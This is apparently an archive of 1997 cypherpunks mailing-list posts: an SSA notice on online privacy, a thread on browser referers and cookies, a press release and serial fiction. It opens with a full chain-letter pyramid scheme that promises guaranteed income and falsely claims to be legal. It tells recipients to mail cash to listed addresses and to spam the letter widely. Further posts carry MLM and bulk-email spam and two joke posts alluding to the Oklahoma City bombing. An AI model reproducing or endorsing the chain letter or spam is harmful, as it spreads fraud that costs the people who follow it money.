> ten years.  Then in 1979 my business began falling off.  I was doing
> the same things that were previously successful for me, but it wasn't
> working.  Finally, I figured it out.  It wasn't me, it was the economy.
> Inflation and recession had replaced the stable economy that had been
> with us since 1945.  I don't have to tell you what happened to the
> unemployment rate...because many of you know from first hand experience.
> There were more failures and bankruptcies than ever before.
> 
> The middle class was vanishing.  Those who knew what they were doing
> invested wisely and moved up.  Those who did not, including those who
> never had anything to save or invest, were moving down into the ranks
> of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET
> POORER."  The traditional methods of making money will never allow you
> to "move up" or "get rich", inflation will see to that.
> 
> You have just received information that can give you financial freedom
> for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
> EFFORT."  You can make more money in the next few months than you have
> ever imagined.
> 
> I should also point out that I will not see a penny of your money, nor
> anyone else who has provided a testimonial for this program.  I have
> already made over FOUR MILLION DOLLARS!  I have retired from the
> program after sending out over 16,000 programs.  Now I have several
> offices which market this and several other programs here in the US and
> overseas.  By the Spring, we wish to market the 'Internet' by a
> partnership with AMERICA ON LINE.
> 
> Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
> It works exceedingly well as it is now.  Remember to email a copy of
> this exciting program to everyone that you can think of.  One of the
> people you send this to may send out 50,000...and your name will be on
> every one of them!.  Remember though, the more you send out, the more
> potential customers you will reach.
> 
> So my friend, I have given you the ideas, information, materials and
> opportunity to become financially independent, IT IS UP TO YOU NOW!
> 
> "THINK ABOUT IT"
> 
> Before you delete this program from your mailbox, as I almost did, take
> a little time to read it and REALLY THINK ABOUT IT.  Get a pencil and
> figure out what could happen when YOU participate.  Figure out the
> worst possible response and no matter how you calculate it, you will
> still make a lot of money!  Definitely get back what you invested.  Any
> doubts you have will vanish when your first orders come in.  IT WORKS!
> 
> 					Paul Johnson, Raleigh, NC
> 
> HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
> 
> Let's say that you decide to start small, just to see how it goes, and
> we'll assume you and all those involved send out 2,000 programs each.
> Let's also assume that the mailing receives a .5% response.  Using a
> good list the response could be much better.  Also many people will
> send out hundreds of thousands of programs instead of 2,000.  But
> continuing with this example, you send out only 2,000 programs.  With a
> 5% response, that is only 10 orders for REPORT #1.  Those 10 people
> respond by sending out 2,000 programs each for a total of 20,000.  Out
> of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
> out 2,000 programs each for a total of 200,000.  The .5% response to
> that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
> programs each for a 2,000,000 total.  The .5% response to that is
> 10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
> CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
> $50,000 for a total of $55,550!!!!
> 
> REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU 
> MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  
> DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE 
> OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe 
> me, many people will do that and more!  By the way, your cost to participate 
> in this is practically nothing.  You obviously already have an internet
> connection 
> and email is FREE!!!  REPORT#3 will show you the best methods for bulk
> emailing
> and purchasing email lists.
> 
> THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
> require you to come in contact with people, do any hard work, and best
> of all, you never have to leave the house except to get the mail.  If
> you believe that someday you'll get that big break that you've been
> waiting for, THIS IS IT!  Simply follow the instructions, and your
> dream will come true.  This multi-level email order marketing program
> works perfectly...100% EVERY TIME.  Email is the sales tool of the
> future.  Take advantage of this non-commercialized method of
> advertising NOW!!  The longer you wait, the more people will be doing
> business using email.  Get your piece of this action!!
> 
> MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
> being taught in the Harvard Business School, and both Stanford Research
> and The Wall Street Journal have stated that between 50% and 65% of all
> goods and services will be sold throughout Multi-level Methods by the
> mid to late 1990's.  This is a Multi-Billion Dollar industry and of the
> 500,000 millionaires in the US, 20% (100,000) made their fortune in the
> last several years in MLM.  Moreover, statistics show 45 people become
> millionaires everyday through Multi-Level Marketing.
> 
> INSTRUCTIONS
> 
> We at Erris Mail Order Marketing Business, have a method of raising
> capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
> use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
> "Bull", please read the program carefully.
> 
> This is not a chain letter, but a perfectly legal money making
> opportunity.  Basically, this is what we do:  As with all multi-level
> business, we build our business by recruiting new partners and selling
> our products.  Every state in the USA allows you to recruit new multi-
> level business partners, and we offer a product for EVERY dollar sent.
> YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
> involved in personal selling.  You do it privately in your own home,
> store or office.
> 
> This is the GREATEST Multi-level Mail Order Marketing anywhere:
> 
> Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
>            by ordering the REPORT from each of the four 4 names listed
>            on the next page.  For each REPORT, send $5 CASH and a SELF-
>            ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
>            person listed for the SPECIFIC REPORT.  International orders
>            should also include $1 extra for postage.  It is essential
>            that you specify the NAME and NUMBER of the report requested
>            to the person you are ordering from.  You will need ALL FOUR
>            4 REPORTS because you will be REPRINTING and RESELLING them.
>            DO NOT alter the names or sequence other than what the
>            instructions say.  IMPORTANT:  Always provide same-day
>            service on all orders.
> 
> Step (2)   Replace  the  name  and  address  under  REPORT #1  with
>            yours,  moving the one that was there down to REPORT #2.
>            Drop  the  name and address under REPORT #2 to REPORT #3,
>            moving the one that was there to REPORT #4.  The name and
>            address that was under REPORT #4 is dropped from the list
>            and this party  is  no doubt on the way to the bank.  When
>            doing   this,   make   certain   you  type  the  names  and
>            addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
>            POSITIONS!!!
> 
> Step (3)   Having made the required changes in the NAME list, save it
>            as a text (.txt) file in it's own directory to be used with
>            whatever email program you like.  Again, REPORT #3 will tell
>            you the best methods of bulk emailing and acquiring email
>            lists.
> 
> Step (4)   Email a copy of the entire program (all of this is very
>            important) to everyone whose address you can get your hands
>            on. Start with friends and relatives since you can encourage
>            them to take  advantage of this  fabulous  money-making
>            opportunity.  That's what I did.  And they love me now, more
>            than ever.  Then, email to anyone and everyone!  Use your
>            imagination!  You can get email addresses from companies on
>            the internet who specialize in email mailing lists.  These
>            are very cheap, 100,000 addresses for around $35.00.
> 
> IMPORTANT:  You won't get a good response if you use an old list, so
> always request a FRESH, NEW list. You will find out where to purchase
> these lists when you order the four 4 REPORTS.
> 
> ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
> 
> REQUIRED REPORTS
> 
> ***Order each REPORT by NUMBER and NAME***
> 
> ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
> AND $5 CASH FOR EACH ORDER REQUESTING THE
> SPECIFIC REPORT BY NAME AND NUMBER
> 
> ________________________________________________________
> REPORT #1
> "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
> 
> ORDER REPORT #1 FROM:
> 
> RWD&CO
> P.O. Box 2225
> Friday Harbor, WA   98250
> 
> ________________________________________________________
> REPORT #2
> "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
> 
> ORDER REPORT #2 FROM:
> 
> M.S.DEWLES DISTRIBUTOR	
> P.O.BOX 29322
> PARMA, OHIO 44129
> 
> 
> 
> ________________________________________________________
> REPORT#3
> "SOURCES FOR THE BEST MAILING LISTS"
> 
> ORDER REPORT #3 FROM:
> 
> DSN
> 7154 West State  #298
> Boise, ID  83703
> 
> 
> ___________________________________________
> REPORT #4
> "EVALUATING MULTI-LEVEL SALES PLANS"
> 
> ORDER REPORT #4 FROM:
> 
> WCH MARKETING
> 6225 RIPTIDE DRIVE
> WILMINGTON, N.C. 28403
> 
> 
> ________________________________________________________
> 
> CONCLUSION
> 
> .I am enjoying my fortune that I made by sending out this program.
> You too, will be making money in 20 to 90 days, if you follow the
> SIMPLE STEPS outlined in this mailing.
> 
> To be financially independent is to be FREE.  Free to make financial
> decisions as never before.  Go into business, get into investments,
> 
> retire or take a vacation.  No longer will a lack of money hold you
> back.
> 
> However, very few people reach financial independence, because when
> opportunity knocks, they choose to ignore it.  It is much easier to say
> "NO" than "YES", and this is the question that you must answer.  Will
> YOU ignore this amazing opportunity or will you take advantage of it?
> If you do nothing, you have indeed missed something and nothing will
> change.  Please re-read this material, this is a special opportunity.
> If you have any questions, please feel free to write to the sender of
> this information.  You will get a prompt and informative reply.
> 
> My method is simple.  I sell thousands of people a product for $5 that
> costs me pennies to produce and email.  I should also point out that
> this program is legal and everyone who participates WILL make money.
> This is not a chain letter or pyramid scam.  At times you have probably
> received chain letters, asking you to send money, on faith, but getting
> NOTHING in return, NO product what-so-ever!  Not only are chain letters
> illegal, but the risk of someone breaking the chain makes them quite
> unattractive.
> 
> You are offering a legitimate product to your people.  After they
> purchase the product from you, they reproduce more and resell them.
> It's simple free enterprise.  As you learned from the enclosed material,
> the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
> information contained in these REPORTS will not only help you in making
> your participation in this program more rewarding, but will be useful
> to you in any other business decisions you make in the years ahead.
> You are also buying the rights to reprint all of the REPORTS, which
> will be ordered from you by those to whom you mail this program.  The
> concise one and two page REPORTS you will be buying can easily be
> reproduced at a local copy center for a cost off about 3 cents a copy.
> Best wishes with the program and Good Luck!
> 
> "IT WAS TRULY AMAZING"
> 
> "Not being the gambling type, it took me several weeks to make up my
> mind to participate in this program.  But conservative as I am, I
> decided that the initial investment was so little that there was no way
> that I could not get enough orders to at least get my money back.  BOY,
> was I ever surprised when I found my medium sized post office box
> crammed with orders!  I will make more money this year than any ten
> years of my life before."
> 
> 					Mary Riceland, Lansing, MI
> 
> TIPS FOR SUCCESS
> 
> Send for your four 4 REPORTS immediately so you will have them when the
> orders start coming in.  When you receive a $5 order, you MUST send out
> the product/service to comply with US Postal and Lottery laws.  Title
> 18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
> SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."
> 
> WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
> 
> 1.	Name your new company. You can use your own name if you desire.
> 
> 2.	Get a post office box (preferred).
> 
> 3.	Edit the names and addresses on the program. You must remember,
>         your name and address go next to REPORT #1 and the others all
>         move down one, with the fourth one being bumped OFF the list.
> 
> 4.	Obtain as many email addresses as possible to send until you
>         receive the information on mailing list companies in REPORT #3.
> 
> 5.	Decide on the number of programs you intend to send out.  The
>         more you send, and the quicker you send them, the more money
>         you will make.
> 
> 6.	After mailing the programs, get ready to fill the orders.
> 
> 7.	Copy the four 4 REPORTS so you are able to sent them out as
>         soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
>         SAME-DAY SERVICE ON ORDERS YOU RECEIVE!
> 
> 8.	Make certain the letter and reports are neat and legible.
> 
> YOUR GUARANTEE
> 
> The check point which GUARANTEES your success is simply this:  you must
> receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
> within two weeks, email out more programs until you do.  Then a couple
> of weeks later you should receive at least 100 orders for REPORT #2, if
> you don't, send out more programs until you do.  Once you have received
> 100 or more orders for REPORT #2, (take a deep breath) you can sit back
> and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
> Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
> participated in the program and reached the above GUARANTEES-ALL have
> reached their $50,000 goal.  Also, remember, every time your name is
> moved down the list you are in front of a different REPORT, so you can
> keep track of your program by knowing what people are ordering from you.
> IT'S THAT EASY, REALLY, IT IS!!!
> 
> REMEMBER:
> "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
> "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
> SEARCH FOR IT FOR THE REST OF YOUR LIFE."
> 
> 
>  
> This message was sent using an evaluation version of WWMail
> WWMail is available at: http://wizardware.com
> 
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim McVeigh <boom@okc.fed>
Date: Sat, 19 Apr 1997 04:12:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <199704191109.FAA01950@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



         *** BOOM ***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Denver <johnd@rckymtn.hi>
Date: Sat, 19 Apr 1997 04:28:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Thanks for your support.
Message-ID: <199704191125.FAA02035@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Cypherpunks,
  I'd like to thank my many fans on the list for their support for my
latest album. You've been great.

  Sorry I can't take time to chat, but I've got to get out to the ranch
and deliver some supplies for spring planting.
  My truck broke down this morning, so I had to rent one. I've got to
pick up some fertilizer for the fields, and diesel fuel for the 
tractors.
  I've also got to stop by the Federal Building in Denver and drop off
the money order for that traffic ticket I got last week, so I've got
to run.

John Denver





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: do@not.reply.com
Date: Fri, 18 Apr 1997 18:06:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Diamond K
Message-ID: <RAF1.1_19/04/97 09:06:27_cypherpunks@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi
	Can any company guarantee you success?  WE CAN!!! Find out how 97% who
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Every member is guaranteed to succeed!  Experience the power of Diamond K
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(Information on free webpage included in form located at
http://www.soos.com/diamondk/brian.html) 
	Ever joined those MLMs which seem to pay the company and not you?
	Tired of recruiting just to make profits?
	Then take a look at this company ---->

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			One time US$25.00 enrollment fee gets you into the 12 companies
			Benefit from Spillover
			No recruiting required unless you want to
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			Be in profit just sponsoring 4 people
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	1) US$25.00 for the first year
	2) Complete level 1 with 4 members in you downline ----> generated from
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	3) US$99.00 for the second year for 120MLM leads which come out from your
profits

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If you would like to join please obtain registration form from
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set your browser to this site now  and make $$$$ tomorrow





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 19 Apr 1997 06:29:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Social Security Public Forums
Message-ID: <v0302098daf7e768fceb4@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: john.t.sabo@ssa.gov
Date: Thu, 17 Apr 97 18:30:41 -0500
To: members@lists.Commerce.Net
MMDF-Warning:  Parse error in original version of preceding line at
lists.Commerce.Net
Cc: john.t.sabo@s3abac8.ns1.barrnet.net
MMDF-Warning:  Parse error in original version of preceding line at
lists.Commerce.Net
Subject: Social Security Public Forums
Mime-Version: 1.0
Sender: members-owner@ssa.gov
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  members@lists.commerce.net
+----------------------------------------------------------------------+


     Fellow Commercenet Members:

     I wanted to make you and your companies aware of an important series
     of six National Forums that the Social Security Administration will be
     conducting throughout the country beginning May 5 through the week of
     June 9, in which SSA will seek public input and expert advice about
     the appropriate customer authentication and privacy safeguards needed
     to support SSA's Internet transaction services and ensure public
     trust.

     The forums are in response to the media and public concerns raised
     about our test of Interactive PEBES, which allowed individuals to
     request a Personal Earnings and Benefit Estimate Statement from SSA
     online and receive the response online, rather than via the mail,
     after providing five knowledge-based customer authenticating elements.
     The initial concerns were centered about the use of the five elements,
     but media attention soon extended to a range of intermingled Internet
     and security concerns.  As a result, we suspended the test and
     announced a 60-day period of expert and public input on this important
     public policy issue.

     We invite interested CommerceNet members to consider participating in
     the forums and offering your expert opinion to the government.  I'm
     including current information about the forums, and expect to have
     more details shortly.  I'll be contacting members I know who have
     expressed interest in providing input, but would welcome hearing from
     other companies who would like to participate in informed public
     discussion and public education.

     John Sabo
     Social Security Administration
     ---------------------------------------------------------------------


Social Security
National Forum on Internet Services -- Backgrounder

We are seeking expert opinion regarding a major public policy issue facing the
Social Security Administration: the appropriate privacy, system security and
other safeguards necessary for SSA to provide transaction services on the
Internet with strong public confidence.

You may be aware that, in response to public concerns raised about our test of
the Interactive Personal Earnings and Benefit Estimate Statement (Interactive
PEBES) service on the Internet, SSA suspended the test and announced that we
would seek public input on the design of the system, particularly with respect
to the authentication and privacy policies and system safeguards necessary to
ensure public confidence in Interactive PEBES and in future Internet services
planned by SSA.

To do this, we have scheduled a series of public forums in Hartford (May
5), Des
 Moines (week of May 12), Atlanta (week of May 19), San Jose (week of May 26),
Austin (week of June 2), and Washington D.C. (week of June 9).  We also
plan to
schedule an Internet Town Meeting on our Website, www.ssa.gov.

The forums will address important national issues which reach far beyond our
test of the Interactive PEBES.  The safeguarding of individual privacy -- as
technology removes barriers to accessing confidential information -- and the
public's understanding of and trust in using the Internet both for secure,
confidential government services and business and financial services are the
core critical issues.  That is why your input is so important.

We are now identifying interested individuals and organizations who wish to
participate on panels at each of the six public forum locations.  Although we
are unable to provide compensation for your participation, we also invite
comments in writing or via email if you cannot attend a forum in person.

We envision three 1 1/4 -hour panels of  5 people expert in these broad areas:
Privacy, Systems Security and  the Business/Financial Internet community.
There
will also be open sessions where members of the public may register to speak.

However you or your company may choose to participate,  I urge you to consider
offering us your thoughtful input into this important national discussion.













-------------------------------------------------------------------------
This message was sent by a majordomo-based automatic list manager.
Subscriptions to and archives of this list are available to CommerceNet
members, partners, and invited guests.  For further information send a
mail message to 'members-request@lists.commerce.net' with 'help'
(no quotations) contained in the body of your message.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 19 Apr 1997 07:38:49 -0700 (PDT)
To: stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970418230820.006527d8@popd.ix.netcom.com>
Message-ID: <199704191434.JAA01685@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



	I'm suprosed no one has suggested paying people for
advertising.  If the Netscape folks would integrate digicash into
Communicator, then I could program my browser to only send referer to
sites that paid for the information, and rent cookie space.  Want your
cookie to live till 1999?  Thats 24 months, at 50 cents per month...do
you want to pay?

	These tools would allow users to set a value on their privacy,
and get the money from advertisers.  I know nothing encourages me to
buy a product like getting cold hard cash from the maker.

Adam

Bill Stewart wrote:

| >Of course there should be a toggle to allow users to turn off the 
| >referer field. I tried to get a recomendation to do this put into the
| >spec. People then started shouting at me saying that it was impossible
| >to enforce and so the recomendation shouldn't be there. 
| 
| Perhaps too much commercial advertising capability already depended on it?



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: joe@washerezy.net
Date: Sat, 19 Apr 1997 13:40:30 -0700 (PDT)
To: linda@washerezy.com
Subject: 6 Million Addresses FREE!
Message-ID: <199704192037.NAA22453@denmark.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Friendly Bulk Email Web Space + 6 Million Addresses FREE!
Only $29.95 per month!

http://www.mary-world.com/webspace/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 19 Apr 1997 13:22:21 -0700 (PDT)
To: cypherpunks@toad.com
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704192022.NAA20494@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


List members,

Shut the hell up already; I wrote it, and it's OK for anyone to repost it.

Just attribute it to me.

Anonymous




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <steve@edmweb.com>
Date: Sat, 19 Apr 1997 13:39:24 -0700 (PDT)
To: Adam Shostack <adam@homeport.org>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704191434.JAA01685@homeport.org>
Message-ID: <199704192038.NAA19881@kirk.edmweb.com>
MIME-Version: 1.0
Content-Type: text/plain


> If the Netscape folks would integrate digicash into Communicator,
> then I could program my browser to only send referer to sites that
> paid for the information, and rent cookie space.  Want your cookie to
> live till 1999?  Thats 24 months, at 50 cents per month...do you want
> to pay?

That would only work until someone abuses it. People could create web
robots to run around selling referers and several gigabytes of
worthless cookie space. Worthless, because nobody cares about the web
browsing habits of J. Random Robot, and they certainly don't want to
blow $50 e-bucks on the bot's repeated visits.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 19 Apr 1997 13:49:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: COMMERCE VISIONARY ERIC HUGHES TEAMS WITH FINANCE EXEC AND TECHNOLOGY ARCHITECT TO FORM TRANSACTION TECHNOLOGY COMPANY, SIMPLE ACCESS
Message-ID: <199704192049.NAA21352@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Looks like Hughes and Hilby have found some fresh meat.

Given sac.net is currently in collection on nearly $100k (plus or minus
lawyers' and collectors' fees) to former suppliers, contractors, and
employees, it seems the greater fool theory of internet commerce is alive
and well. 

Hope the new boys are holding on to their wallets. And their nuts.

ReputationMunger

---------



   Media contact: Melody Kean Haller, Antenna Group, 415-896-1800,
   melody@antennapr.com
   
   COMMERCE VISIONARY ERIC HUGHES TEAMS WITH FINANCE EXEC AND TECHNOLOGY
   ARCHITECT TO FORM TRANSACTION TECHNOLOGY COMPANY, SIMPLE ACCESS
   
   San Francisco, CA -- March 24, 1997. The limits to growth facing
   today's commercial transaction systems are fundamental and
   unavoidable. Current architectures are not able to handle the
   complexity and auditing requirements of tomorrow, according to
   cryptographer, commerce visionary, and cypherpunks founder Eric
   Hughes.
   
   The solution is to build airtight accountability into the system from
   the start, according to Hughes, who has developed an infrastructure
   design methodology that solves this and several other crucial
   electronic commerce problems. Hughes today announced that he has
   formed a company, Simple Access, to build the next generation of
   transaction systems. He also announced two key additions to the
   executive team.
   
   John McArtor, currently President and CEO of Delta International,
   Inc., a private merchant bank, will lead Simple Access as chief
   executive officer. Dwight Koop, formerly executive vice-president of
   technology for Swiss Bank, will direct project development. Eric
   Hughes will continue as chief technology officer.
   
   "Eric Hughes has a deep and compelling vision of the future of
   electronic commerce," said Jerry Michalski, managing editor of Esther
   Dyson's monthly report, Release 1.0. "He understands the science of
   the Internet and security technologies, has insight into the systemic
   flow of commerce, and is informed by an overview of the
   socio-political history of money. The methodology he is proposing aims
   to enable a future in which transactions are undeniably clear.
   Anything Eric puts his energy into is worth paying attention to."
   
   Hughes said, "Currently, 'electronic commerce' is a euphemism for
   'commerce that doesn't work,' or soon won't work on a large scale. In
   order to prevent disasters on the horizon and build a foundation for
   safer and better systems, Simple Access is thinking ahead and solving
   problems at the infrastructure level."
   
   "We are working with leading companies that require their suppliers to
   have solid and experienced managers, so we brought on proven leaders,"
   Hughes continued. "McArtor and Koop meet and exceed those criteria."
   
   "With my 25 years of commercial and investment banking experience,
   I've worked with a lot of bright technologists, and these are some of
   the best," said CEO John McArtor. "I jumped at the opportunity to join
   them. The development team at Simple Access has an intimate knowledge
   of real-world business problems. They are addressing issues at the
   core of domestic and international finance, issues that are very
   important to me."
   
   Simple Access' Director of Software Development, Dwight Koop, said,
   "The technologies we are developing will address serious and immediate
   problems of large-scale commerce. These are elegant designs which can
   be applied especially well in high-stakes transaction systems to
   assure an unprecedented level of accountability, auditability and
   efficiency."
   
   Simple Access is in late-stage negotiations with several strategically
   chosen Fortune 100 companies in different realms of commerce. The
   company is now developing custom solutions, building on the widely
   usable transaction methodology that Hughes has developed. The
   company's current efforts include telephony and Internet provisioning
   and billing, international trade documents, and digital money.
   
   Eric Hughes is a cryptographer and an expert on payment systems and
   commercial interaction. He has consulted to banks, software companies,
   and payment processing firms, and frequently speaks on the subjects of
   security, digital money, and payment systems. He is also renowned as
   the co-founder of the cypherpunks. Hughes authored "A Long Term
   Perspective on Electronic Commerce," which comprised the March 1995
   issue of Release 1.0.
   
   John W. McArtor is president and CEO of Delta International, Inc., a
   private merchant bank engaged in the business of creative corporate
   finance and capital management. Since 1972, Delta International has
   been designing, structuring, syndicating, and managing financial
   vehicles for private sector investment. McArtor's areas of expertise
   include the management of capital in domestic and global futures
   markets, and the creation of venture capital for the
   telecommunications industry.
   
   Dwight Koop was formerly executive vice-president of technology for
   Swiss Bank, one of the world's premier trading institutions. He will
   serve as acting director of software development with Simple Access,
   which will co-develop and co-market projects with New Logic, Inc.,
   where Koop is a principal and practice director of intra/Internet
   systems development. Koop has more than twenty years of solid
   management and consulting background in all aspects of technology,
   with special expertise in creating competitive advantage in the
   financial industry.
   
   Headquartered in San Francisco, California, Simple Access is a
   technology firm that designs and builds infrastructure for finance,
   commerce, security, telephony, and the Internet. Simple Access
   develops solutions to facilitate and simplify interaction at the
   infrastructure level. The company's areas of expertise include payment
   systems, data security, cryptography, and transaction processing. The
   privately held company was founded in 1995. Simple Access is located
   at One Sutter Street, Suite 500, San Francisco, California 94104. To
   reach the company, phone 415-392-0526, fax 415-986-8113 or send email
   to info@sac.net.
   
   For media information please contact Melody Kean Haller, Antenna
   Group, 415-896-1800, or melody@antennapr.com.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sat, 19 Apr 1997 13:46:41 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld 36
Message-ID: <33592F61.2004@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Cyphernomicon


Cron stood waiting at the entrance to the Council Chambers as
the limousine bearing the Cowboy pulled up to the curb. Two veteran
members of the Dark Forces elite stood ready to open the rear
doors. As the limousine came to a stop, however, the driver's
door opened, and the Cowboy stepped out to greet them.
"I hope I'm not late." the Cowboy exclaimed congenially
as he bounded up the steps. He stood face to face with the dreaded
Cron and added, "I'd hate to keep such an important gentleman
as the Shadow waiting."

The Shadow's countenance was blazing with an internal rage as
the Cowboy made his entrance, flagged by a half-dozen members
of the Dark Forces. Schultz was nowhere to be seen and the Shadow
had realized immediately that the Cowboy was here of his own volition.

His face grew even darker as the Cowboy smiled fondly at Bubba,
Priscilla, Alexis and Jonathan. Something was dreadfully, dreadfully
wrong. The Shadow struggled to maintain his composure as his heart
sank.

The mass of people in the back of the Great Hall, who had been
rounded up at Bubba's safe house began conversing in quiet tones
which rose to become a great murmur, resounding through the hall.

"Quiet!" Gomez screamed, quickly reducing their conversations
to near silence.

The Cowboy rose the few steps leading to the podium and stood
beside the Shadow, smiling benignly.
"Sorry if I'm a tad late," the Cowboy said, "but
Mr. Schultz's directions were a little vague." He stood,
waiting, for the Shadow's reply.

"Why don't we all have a drink." the Shadow responded,
playing for time while he endeavored to read what this startling
train of events portended. He motioned the Cowboy and his small
group of friends toward the bar.
They moved, as a group, toward the bar at the back of the hall,
with Priscilla, Alexis and Jonathan showing signs of extreme trepidation
and unease. The Cowboy and Bubba, however, seemed quite at ease,
despite being deep within the Inner Sanctum of the Evil One and
the Dark Forces.
The Cowboy stood silent, sipping his drink, obviously waiting
for the Shadow to begin the conversation. Gomez realized that
it was himself who was in the dark, and conceded his position.

"I presume that you have been engaged in some sort of activity
since your release from Nuthouse Number Nine." the Shadow
ventured.

"Not at all." came the Cowboy's truthful reply.

The Shadow was wary, but he knew that the Cowboy was not playing
games.
"So your situation hasn't changed then, has it?", the
Shadow continued, but he instinctively knew that the answer he
was about to hear was not one that he desired.

"The situation has changed immensely," the Cowboy replied,
nodding to Jonathan, who broke out in an ear-to-ear grin, "and
I'm sure that your guests," he nodded toward the masses at
the back of the hall, "would appreciate your announcing that
the banquet you have prepared is ready for them to sup from."

The Shadow burned inside with a violent fury, but he realized
that the Cowboy was, once again, making him 'pay to play.' The
Cowboy would not be forthcoming with the information that he wanted
unless the Shadow conceded this small concession.
"I could have them shot." the Shadow contended, not
willing to concede so easily.

"All the more to confirm the existence of the Magic Circle
to those outside this room." the was the Cowboy's unsmiling
retort to the Shadow's threat.

"Seat our guests." the Shadow shouted to his
minions, waving in the direction of the startled mass of people
at the back of the Great Hall, and snapped his fingers at Cron,
pointing toward the tables which had been set in preparation for
the Dark Forces grand feast following their victory.
Cron rushed to the kitchen to set the staff in motion.

"Thank you." the Cowboy responded graciously, and then
turned to Jonathan, who spoke slowly and clearly, despite the
fact that he was obviously shaking in his boots.
"Excuse me Mr. ...," Jonathan realized he wasn't
sure how to address the person to whom he was speaking, "...Sir,
but I think that perhaps you should check your recent CyberPosts."
He stopped, and receiving no reply, added, "I believe that
there is a message of common interest to all of us."

The Shadow placed his thumb upon the Identity Verification module
of a nearby GraphiCube and hit the CyberPost update key. The screen
leapt to life, and the Shadow found himself confronted with a
ghost from the past.

>From - Sun, Jan 19 7:09:00 1997
Return-Path: <owner-cypherpunks@toad.com>
Received from toad.com([140.174.2.1]) by mercury.grill.sk.ca for

<HumanGus-Peter@grill.sk.ca>
Received (from majordomo@localhost) by toad.com (8.7.5/8.7.3)
id IAA20555;
Message-Id:<199702011555.IAA20555@toad.com>

Date: Sun, 19 Jan 1997 08:40:04-800
To: cypherpunks@toad.com
>From "Timothy C. May<tcmay@got.net>
Subject: To Whom It 'May' Concern
Reply-To: "Timothy C. May"<tcmay@got.net>
